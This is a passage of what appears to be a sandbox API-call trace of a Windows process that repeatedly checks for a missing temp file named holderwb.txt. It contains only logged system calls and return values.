	[0099.833] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.834] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.834] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.835] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.835] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.835] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.835] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.835] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.836] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.836] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.837] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.837] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.837] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.837] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.838] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.838] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.838] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.839] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.839] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.839] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.841] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.842] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.842] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.843] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.843] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.843] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.843] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.843] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.844] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.844] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.844] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.844] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.845] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.845] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.845] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.846] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.846] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.846] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.846] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.846] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.846] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.846] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.848] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.848] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.848] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.848] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.848] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.848] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.849] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.850] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.850] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.850] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.850] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.850] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.850] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.851] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.851] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.851] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.852] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.852] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.852] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.853] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.853] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.853] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.853] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.853] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.853] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.853] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.855] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.855] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.855] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.855] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.855] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
